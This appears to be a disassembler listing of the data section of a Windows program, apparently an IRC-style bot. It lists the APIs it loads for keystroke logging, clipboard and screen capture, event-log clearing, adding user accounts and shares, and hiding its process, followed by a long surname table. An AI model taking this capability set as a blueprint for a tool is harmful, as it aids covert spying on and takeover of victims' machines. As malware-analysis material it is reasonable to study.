sub_409B12+B3Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o align 10h aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409B12:loc_40A620o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409B12+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409B12:loc_40A5D6o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409B12:loc_40A58Co align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409B12+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo ; sub_4185A4+65o align 10h aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409B12+9DFo align 10h aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409B12+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409B12+9C5o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409B12+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409B12+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409B12+984o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409B12+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409B12+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409B12:loc_40A470o ; sub_4185A4+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409B12+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409B12+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409B12+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409B12:loc_40A411o align 10h aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409B12+82Co align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo align 10h aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o align 10h aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409B12:loc_40A2F1o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409B12+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409B12+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409B12+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409B12+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_409B12+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409B12+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409B12+658o align 4 aAccept db 'accept',0 ; DATA XREF: sub_409B12+64Bo align 10h aListen db 'listen',0 ; DATA XREF: sub_409B12+63Eo align 4 aSelect db 'select',0 ; DATA XREF: sub_409B12+631o align 10h aBind db 'bind',0 ; DATA XREF: sub_409B12+629o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409B12+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_409B12+60Ao align 4 aSendto db 'sendto',0 ; DATA XREF: sub_409B12+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409B12+5E3o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_409B12+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409B12+5C9o align 4 aHtons db 'htons',0 ; DATA XREF: sub_409B12+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409B12+5AFo align 10h aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409B12+5A2o align 4 aConnect db 'connect',0 ; DATA XREF: sub_409B12+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409B12+588o aSocket db 'socket',0 ; DATA XREF: sub_409B12+57Bo align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409B12+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409B12+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409B12+554o align 10h a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409B12+547o align 10h aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409B12+53Ao align 10h aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409B12+52Do align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409B12+525o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409B12+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409B12+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409B12+494o align 10h aBitblt db 'BitBlt',0 ; DATA XREF: sub_409B12+487o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409B12+47Ao align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409B12+460o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o align 10h aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409B12+43Eo align 10h aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409B12:loc_409F3Fo align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409B12:loc_409F17o align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o align 10h aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409B12+386o align 10h aControlservice db 'ControlService',0 ; DATA XREF: sub_409B12+379o align 10h aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409B12+36Co align 10h aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409B12+35Fo align 10h aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409B12:loc_409E69o align 10h aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao align 10h aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409B12+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409B12+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409B12+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409B12+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409B12+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409B12+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409B12+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409B12:loc_409D71o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409B12+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409B12+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409B12+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409B12+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409B12+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409B12+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_409B12+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409B12+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409B12+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409B12:loc_409C47o ; sub_424D78+Do align 10h aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409B12+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409B12+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409B12+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409B12+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409B12+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo align 10h aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409B12+23o align 10h aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409B12+Ao align 10h unk_42D330 db 2Dh ; - ; DATA XREF: sub_40A7CE+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 10h aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o align 10h aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o align 10h aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o align 4 a_: ; DATA XREF: sub_40F96A+252o unicode 0, <.>,0 unk_42D4C0 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABF0o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 10h unk_42D4F0 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABBEo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 10h unk_42D520 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40AB8Ao db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_42D544 db 2Dh ; - ; DATA XREF: sub_40AB31+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AC0F+46o ; sub_40BFEB+38o align 10h aReal db 'real',0 align 4 dd 0 dword_42D58C dd 0 ; DATA XREF: sub_40B08D+7o off_42D590 dd offset sub_40ACB5 ; DATA XREF: sub_40B08D+49r aConst db 'const',0 align 10h dd 1, 40AD22h, 7474656Ch, 7265h, 0 dd 2, 40AD80h, 706D6F63h, 2 dup(0) dd 3, 40ADCDh, 6E756F63h, 797274h, 0 dd 4, 40AE6Bh, 736Fh, 2 dup(0) dd 5, 40AEE0h off_42D5F8 dd offset aAbdulrazak ; DATA XREF: sub_40ACB5+21r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42D604 dd offset aAddison ; DATA XREF: sub_40B08D+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd 